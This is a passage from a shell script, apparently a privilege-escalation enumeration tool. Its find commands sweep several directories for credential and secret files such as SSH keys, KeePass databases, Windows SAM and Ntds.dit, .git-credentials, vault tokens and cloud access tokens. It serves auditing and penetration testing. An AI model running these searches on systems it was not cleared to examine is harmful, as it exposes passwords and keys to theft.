\"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CACHE=`eval_bckgrd "find /.cache -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CDROM=`eval_bckgrd "find /cdrom -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_ETC=`eval_bckgrd "find /etc -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"*knockd*\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"exports\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"ssh*config\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB=`eval_bckgrd "find /lib -name \"*.socket\" -o -name \"log4j-core*.jar\" -o -name \"rocketchat.service\" -o -name \"*.timer\" -o -name \"*.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.service\" -o -name \"log4j-core*.jar\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.service\" -o -name \"log4j-core*.jar\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_MEDIA=`eval_bckgrd "find /media -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name 